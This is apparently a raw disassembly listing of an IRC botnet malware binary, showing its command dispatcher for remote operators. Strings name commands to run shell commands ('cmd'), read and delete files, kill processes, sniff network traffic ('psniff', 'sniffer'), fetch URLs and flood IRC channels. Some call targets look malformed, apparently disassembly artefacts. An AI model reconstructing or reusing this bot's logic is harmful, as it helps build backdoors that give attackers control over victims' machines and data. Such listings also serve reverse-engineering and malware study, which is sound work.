		push	eax
		push	[ebp+esi+var_88]
		call	sub_417E06
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_84]
		push	[ebp+esi+var_88]
		push	[ebp+esi+var_80]
		push	offset unk_42B93C
		push	eax
		call	sub_41C266
		add	esp, 14h
		cmp	[ebp+var_8], ebx
		jnz	short loc_404CB7
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_404CB7:				; CODE XREF: sub_401ACD+3173j
					; sub_401ACD+3179j ...
		push	edi
		push	offset dword_42B938
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404D21
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404D21
		push	offset asc_42CDC0 ; " "
		push	offset dword_42B934
		push	eax
		call	sub_41843B
		push	eax
		lea	eax, [ebp+var_47F0]
		push	eax
		call	sub_41C890
		add	esp, 14h
		lea	eax, [ebp+var_47F0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B924
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_404D21:				; CODE XREF: sub_401ACD+31F9j
					; sub_401ACD+3204j
		push	edi
		push	offset dword_42B920
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404D8B
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404D8B
		push	offset asc_42CDC0 ; " "
		push	offset dword_42B934
		push	eax
		call	sub_41843B
		push	eax
		lea	eax, [ebp+var_4AF4]
		push	eax
		call	sub_41C890
		add	esp, 14h
		lea	eax, [ebp+var_4AF4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B90C
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_404D8B:				; CODE XREF: sub_401ACD+3263j
					; sub_401ACD+326Ej
		push	edi
		push	offset aNt	; "nt"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404DF5
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404DF5
		push	offset asc_42CDC0 ; " "
		push	offset dword_42B934
		push	eax
		call	sub_41843B
		push	eax
		lea	eax, [ebp+var_48F0]
		push	eax
		call	sub_41C890
		add	esp, 14h
		lea	eax, [ebp+var_48F0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_1 ; "notice %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_404DF5:				; CODE XREF: sub_401ACD+32CDj
					; sub_401ACD+32D8j
		push	edi
		push	offset aMode	; "mode"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E5F
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404E5F
		push	offset asc_42CDC0 ; " "
		push	offset dword_42B934
		push	eax
		call	sub_41843B
		push	eax
		lea	eax, [ebp+var_4FF8]
		push	eax
		call	sub_41C890
		add	esp, 14h
		lea	eax, [ebp+var_4FF8]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aModeSS	; "mode	%s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_404E5F:				; CODE XREF: sub_401ACD+3337j
					; sub_401ACD+3342j
		push	edi
		push	offset aJoin	; "join"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E9C
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404E9C
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_404E9C:				; CODE XREF: sub_401ACD+33A1j
					; sub_401ACD+33ACj
		push	edi
		push	offset aPart_0	; "part"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404ED9
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404ED9
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartS	; "part	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_404ED9:				; CODE XREF: sub_401ACD+33DEj
					; sub_401ACD+33E9j
		push	edi
		push	offset aPartflood ; "partflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F1B
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F1B
		push	offset dword_427620
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_404F1B:				; CODE XREF: sub_401ACD+341Bj
					; sub_401ACD+3426j
		push	edi
		push	offset aPnick	; "pnick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F92
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_404F92
		nop
		call	near ptr 26A0D72h
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_17B8]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42B89C
		push	eax
		call	sub_41C266
		add	esp, 10h
		lea	eax, [ebp+var_17B8]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B894
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_404F92:				; CODE XREF: sub_401ACD+345Dj
					; sub_401ACD+3466j
		push	edi
		push	offset dword_42B888
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4050E9
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4050E9
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset dword_427620
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		nop
		call	near ptr 269040Ah
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		nop
		call	near ptr 269040Ah
		push	offset dword_427620
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 0C8h
		idiv	ecx
		push	edx
		call	near ptr 269040Ah
		nop
		push	offset dword_427620
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_4050E9:				; CODE XREF: sub_401ACD+34D4j
					; sub_401ACD+34E1j
		push	edi
		push	offset dword_42B884
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405181
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_405181
		nop
		call	near ptr 26A0D72h
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_2C4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42B85C
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 24h


loc_405181:				; CODE XREF: sub_401ACD+362Bj
					; sub_401ACD+3638j
		push	edi
		push	offset aNick_0	; "nick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405289
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	loc_405289
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417E84
		add	esp, 14h
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B894
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		nop
		call	near ptr 269040Ah
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417E84
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B894
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 1F4h
		idiv	ecx
		push	edx
		nop
		call	near ptr 269040Ah
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417E84
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B894
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_405289:				; CODE XREF: sub_401ACD+36C3j
					; sub_401ACD+36D2j
		push	edi
		push	offset aChgnick	; "chgnick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4052CE
		lea	eax, [ebp+var_180C]
		push	eax
		call	sub_417E84
		pop	ecx
		lea	eax, [ebp+var_180C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B894
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_4052CE:				; CODE XREF: sub_401ACD+37CBj
		push	edi
		push	offset aMsg	; "msg"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4053C3
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4053C3
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset dword_427624
		push	[ebp+esi+var_88]
		push	offset dword_42B924
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		nop
		call	near ptr 269040Ah
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B924
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		nop
		call	near ptr 269040Ah
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B924
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_4053C3:				; CODE XREF: sub_401ACD+3810j
					; sub_401ACD+381Dj
		push	edi
		push	offset aNotice_0 ; "notice"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4054B8
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4054B8
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset dword_427624
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	near ptr 269040Ah
		nop
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		nop
		call	near ptr 269040Ah
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_4054B8:				; CODE XREF: sub_401ACD+3905j
					; sub_401ACD+3912j
		push	edi
		push	offset aCtcp	; "ctcp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4055D9
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4055D9
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B814
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	near ptr 269040Ah
		nop
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B7FC
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		nop
		call	near ptr 269040Ah
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B7E4
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		nop
		call	near ptr 269040Ah
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B7E4
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_4055D9:				; CODE XREF: sub_401ACD+39FAj
					; sub_401ACD+3A07j
		push	edi
		push	offset aMix	; "mix"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405709
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405709
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B814
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	near ptr 269040Ah
		nop
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		nop
		call	near ptr 269040Ah
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		nop
		call	near ptr 269040Ah
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_405709:				; CODE XREF: sub_401ACD+3B1Bj
					; sub_401ACD+3B28j
		push	edi
		push	offset aRegister ; "register"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40574D
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_40574D
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNickservRegist ; "nickserv register %s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_40574D:				; CODE XREF: sub_401ACD+3C4Bj
					; sub_401ACD+3C56j
		push	edi
		push	offset aOff	; "off"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40619B
		mov	[ebp+arg_18], offset dword_4D4A5C


loc_405769:				; CODE XREF: sub_401ACD+3CC0j
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax-4], 1
		jnz	short loc_40577F
		mov	eax, [eax]
		cmp	eax, ebx
		jbe	short loc_40577F
		push	eax
		call	dword_4CBA6C


loc_40577F:				; CODE XREF: sub_401ACD+3CA3j
					; sub_401ACD+3CA9j
		add	[ebp+arg_18], 210h
		cmp	[ebp+arg_18], offset dword_4DB17C
		jl	short loc_405769
		cmp	[ebp+var_8], ebx
		jnz	loc_40619B
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42B784
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h
		jmp	loc_40619B
; ---------------------------------------------------------------------------


loc_4057B7:				; CODE XREF: sub_401ACD+3151j
		push	[ebp+arg_8]
		push	offset aNick_0	; "nick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409554
		push	[ebp+arg_8]
		push	offset aN	; "n"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409554
		push	[ebp+arg_8]
		push	offset aJoin	; "join"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409531
		push	[ebp+arg_8]
		push	offset aJ	; "j"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409531
		push	[ebp+arg_8]
		push	offset aPart_0	; "part"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409515
		push	[ebp+arg_8]
		push	offset aPt	; "pt"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409515
		push	[ebp+arg_8]
		push	offset aRaw	; "raw"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094DB
		push	[ebp+arg_8]
		push	offset aR	; "r"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094DB
		push	[ebp+arg_8]
		push	offset aKillthread ; "killthread"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409418
		push	[ebp+arg_8]
		push	offset aK	; "k"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409418
		push	[ebp+arg_8]
		push	offset aC_quit	; "c_quit"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40936D
		push	[ebp+arg_8]
		push	offset aC_q	; "c_q"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40936D
		push	[ebp+arg_8]
		push	offset aC_rndnick ; "c_rndnick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40931F
		push	[ebp+arg_8]
		push	offset aC_rn	; "c_rn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40931F
		push	[ebp+arg_8]
		push	offset aPrefix	; "prefix"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40930A
		push	[ebp+arg_8]
		push	offset aPr	; "pr"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40930A
		push	[ebp+arg_8]
		push	offset aOpen	; "open"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092E0
		push	[ebp+arg_8]
		push	offset aO	; "o"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092E0
		push	[ebp+arg_8]
		push	offset aServer	; "server"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092C7
		push	[ebp+arg_8]
		push	offset aSe	; "se"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092C7
		push	[ebp+arg_8]
		push	offset aDns	; "dns"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925F
		push	[ebp+arg_8]
		push	offset aDn	; "dn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925F
		push	[ebp+arg_8]
		push	offset aKillproc ; "killproc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409233
		push	[ebp+arg_8]
		push	offset aKp	; "kp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409233
		push	[ebp+arg_8]
		push	offset aKill	; "kill"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091D8
		push	[ebp+arg_8]
		push	offset aKi	; "ki"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091D8
		push	[ebp+arg_8]
		push	offset aDelete	; "delete"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091A0
		push	[ebp+arg_8]
		push	offset aDel	; "del"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091A0
		push	[ebp+arg_8]
		push	offset aGet	; "get"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090C3
		push	[ebp+arg_8]
		push	offset aGt	; "gt"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090C3
		push	[ebp+arg_8]
		push	offset aList	; "list"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A5
		push	[ebp+arg_8]
		push	offset aLi	; "li"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A5
		push	[ebp+arg_8]
		push	offset aVisit	; "visit"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408FB5
		push	[ebp+arg_8]
		push	offset aV	; "v"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408FB5
		push	[ebp+arg_8]
		push	offset aMirccmd	; "mirccmd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F6F
		push	[ebp+arg_8]
		push	offset aMirc	; "mirc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F6F
		push	[ebp+arg_8]
		push	offset aCmd	; "cmd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F18
		push	[ebp+arg_8]
		push	offset aCm	; "cm"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F18
		push	[ebp+arg_8]
		push	offset aReadfile ; "readfile"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408EA1
		push	[ebp+arg_8]
		push	offset aRf	; "rf"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408EA1
		push	[ebp+arg_8]
		push	offset aPsniff	; "psniff"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C9F
		push	edi
		push	offset aOn	; "on"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C67
		push	20h
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_405B91
		push	offset dword_42B68C
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405B91:				; CODE XREF: sub_401ACD+40B8j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_F5C], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_ED4], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_ED0], eax
		jnz	short loc_405BD3
		mov	esi, offset aF_1 ; "#f"
		push	offset byte_43DB88
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405BD3
		mov	esi, [ebp+var_88]


loc_405BD3:				; CODE XREF: sub_401ACD+40E8j
					; sub_401ACD+40FEj
		push	esi
		lea	eax, [ebp+var_F58]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B65C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	20h
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	[ebp+var_ED8], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_F5C]
		push	ebx
		push	eax
		push	offset byte_412B61
		push	ebx
		push	ebx
		nop
		call	near ptr 2690496h
		mov	ecx, [ebp+var_ED8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_405C56


loc_405C40:				; CODE XREF: sub_401ACD+4187j
		cmp	[ebp+var_ECC], ebx
		jnz	loc_4081AD
		push	32h
		nop
		call	near ptr 269040Ah
		jmp	short loc_405C40
; ---------------------------------------------------------------------------


loc_405C56:				; CODE XREF: sub_401ACD+4171j
		call	near ptr 2690C56h
		nop
		push	eax
		push	offset dword_42B620
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405C67:				; CODE XREF: sub_401ACD+40A8j
		push	edi
		push	offset aOff	; "off"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4081AD
		push	ebx
		push	20h
		call	sub_40B5B5
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405C95
		push	eax
		push	offset dword_42B5E4
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405C95:				; CODE XREF: sub_401ACD+41BBj
		push	offset dword_42B5B8
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405C9F:				; CODE XREF: sub_401ACD+4093j
		push	[ebp+arg_8]
		push	offset aSniffer	; "sniffer"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DEF
		push	edi
		push	offset aOn	; "on"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DB7
		push	21h
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_405CE1
		push	offset unk_42B590
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405CE1:				; CODE XREF: sub_401ACD+4208j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_EC8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_E40], eax
		mov	eax, [ebp+var_8]
